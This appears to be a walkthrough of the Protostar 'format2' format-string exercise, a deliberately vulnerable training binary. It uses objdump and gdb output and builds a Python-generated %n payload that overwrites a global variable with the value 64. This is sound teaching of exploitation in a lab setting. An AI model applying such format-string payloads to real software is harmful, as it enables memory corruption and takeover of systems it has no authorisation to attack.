This is quite similar to the previous exercise, but this time we have to set a certain value to a variable. The solution is almost the same as the previous one.
%n writes the number of characters written so far into the variable. We can modify the written character if we append a %XXd in front of the format string. XX is a number.
First determine the address of target.
$ objdump -t /opt/protostar/bin/format2
080496e4 g O .bss 00000004 target
Then let us determine the position of the address passed with the format string. It is very near to the top of the stack.
$ python -c ‘print “%56d\xe4\x96\x04\x08%5$x”‘ > /tmp/1
(gdb) disassemble vuln
(gdb) b *0x08048485
(gdb) b *0x0804848a
(gdb) r < /tmp/1
(gdb) x/8x $esp
0xbffffa90: 0xbffffaa0 0x00000200 0xb7fd8420 0xbffffae4
0xbffffaa0: 0x64363525 0x080496e4 0x6e243525 0x0000000a
As we can see the address is the fifth word after the address of the format string. If we continue the execution, the address will be printed. If we replace the last character from x to n, then the variable will be updated.
$ python -c ‘print “%56d\xe4\x96\x04\x08%5$n”‘ > /tmp/1
Let us print out the value of the target variable. This time we have to stop at the second breakpoint (after the printf has been called).
(gdb) x/x 0x080496e4
0x80496e4 <target>: 0x0000003c
0x3c = 60. We have to increase it with 4. The updated solution:
python -c ‘print “%60d\xe4\x96\x04\x08%5$n”‘ > /tmp/1
This time the value is 0x40 = 64.
$ python -c ‘print “%60d\xe4\x96\x04\x08%5$n”‘ | /opt/protostar/bin/format2